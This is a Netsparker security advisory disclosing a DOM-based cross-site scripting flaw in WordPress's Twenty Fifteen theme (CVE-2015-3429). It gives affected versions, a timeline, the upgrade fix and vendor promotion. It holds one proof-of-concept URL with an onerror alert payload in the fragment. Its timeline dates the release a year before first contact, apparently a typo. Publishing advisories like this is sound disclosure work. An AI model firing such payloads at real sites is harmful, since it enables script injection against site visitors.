Download Netsparker
Pricing
Blog
Contact
Netsparker

DOM XSS Vulnerability in Twenty Fifteen WordPress Theme

Information
--------------------
Advisory by Netsparker.
Name: DOM XSS Vulnerability in Twenty Fifteen WordPress Theme
Affected Software : WordPress
Affected Versions: 4.2.1 and probably below
Vendor Homepage : https://wordpress.org/ and https://wordpress.org/themes/twentyfifteen/
Vulnerability Type : DOM based Cross-site Scripting
Severity : Important
CVE-ID: CVE-2015-3429
Netsparker Advisory Reference : NS-15-007

Technical Details
--------------------
Proof of Concept URL for DOM XSS in WordPress:

http://example.com/wordpress/wp-content/themes/twentyfifteen/genericons/example.html#<img/src/onerror=alert(123)>

For more information on this vulnerability read DOM Based Cross-site Scripting (XSS).

Advisory Timeline
--------------------
22/04/2015 - First Contact
07/05/2015 - Vulnerability fixed
07/05/2014 - Advisory released

Solution
--------------------
Download WordPress version 4.2.2 which includes fix for this vulnerability.

Credits & Authors
--------------------
These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------
Netsparker finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities, hence it is the first and only False Positive Free web application security scanner.

Netsparker Wep Application Security Scanner Find and Exploit vulnerabilities in Web Applications with Netsparker

Request Demo version of Netsparker ProfessionalorBuy Netsparker Professional